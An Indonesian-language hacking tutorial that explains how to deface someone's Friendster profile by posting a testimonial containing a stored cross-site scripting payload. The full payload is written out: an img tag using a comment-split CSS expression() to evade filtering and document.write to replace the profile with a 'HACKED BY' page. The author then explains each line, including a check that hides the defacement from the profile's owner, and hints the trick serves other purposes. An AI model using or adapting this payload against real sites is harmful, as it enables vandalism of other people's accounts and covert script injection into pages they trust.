Mendeface Friendster Musuh Kita dengan Java Script
------------------------------------------------------
Author : Andro Meda
------------------------------------------------------
Dear All... msh inget gak artikel spyro yg mendeface fs "djempol_online" pasti tmn2 pensaran koq bs yach...??? (Ini adalah cara Djempol Online dalam upayanya untuk men-deface Friendster Spyro Kid -- walaupun pada akhirnya gagal ^_^) Ok kita semua tahu bahwa kesalahan FS yg plg besar adalah mengijinkan user untuk membuat code html kedalam testi, dan profile kita... langsung aja ke pembahasan yach... karena gw orang yg gak punya bakat buat merangkai kata2 indah...
_____Begin Of Testimonial______
Halo apa kabar ??? thanks yachh dah add gw...
<img src=http://mail.yahoo.com/config/login?/"" id="mycode" style="height:expr_/**/ession(if(pageViewerID!=pageOwnerID){document.write('<body bgcolor=black><b><br><br><center><font face=verdana size=4pt color=white>HACKED BY BadKiddes..<br>Ur Account Have been Deface by BadKiddes..<br><br>Sorry Yach...<Br>Nothing is Secure..<br><Br><br><br>nobodys servers is safe..<br><br><br>andro_bgt@yahoo.com<br></b>');document.title = '-friendster gw bajak...!!!-'}); width:expr_/**/ession(document.all.mycode.style.height='0px')" /></img>
_________End Of Testimonial__________
perhatikan:
<img src=http://mail.yahoo.com/config/login?/"" id="mycode" style="height:expr_/**/ession(
script diatas adalah tag html yg dipake untuk membuka jalan
agar _javascript yg kita inject bisa dijalankan
if(pageViewerID!=pageOwnerID)
fungsi diatas untuk mencegah agar yg punya fs gak
bisa ngliat klo profilenya udah berubah...
jadi perubahan ini cuma bisa dilihat sama orang lain,kecuali pemiliknya.
lalu,
document.write('
script diatas adalah script _javascript yg fungsinya untuk menuliskan tag html semau kita kedalam sebuah testi... sehingga kita bisa merubah seluruh tampilan profile org yg telah mengapprove testi kita..
Sebenarnya trik di atas bs pake buat kepentingan lain tp AndRo gak mo merusak imajinasi kalian dech... hikzz..hikzzz...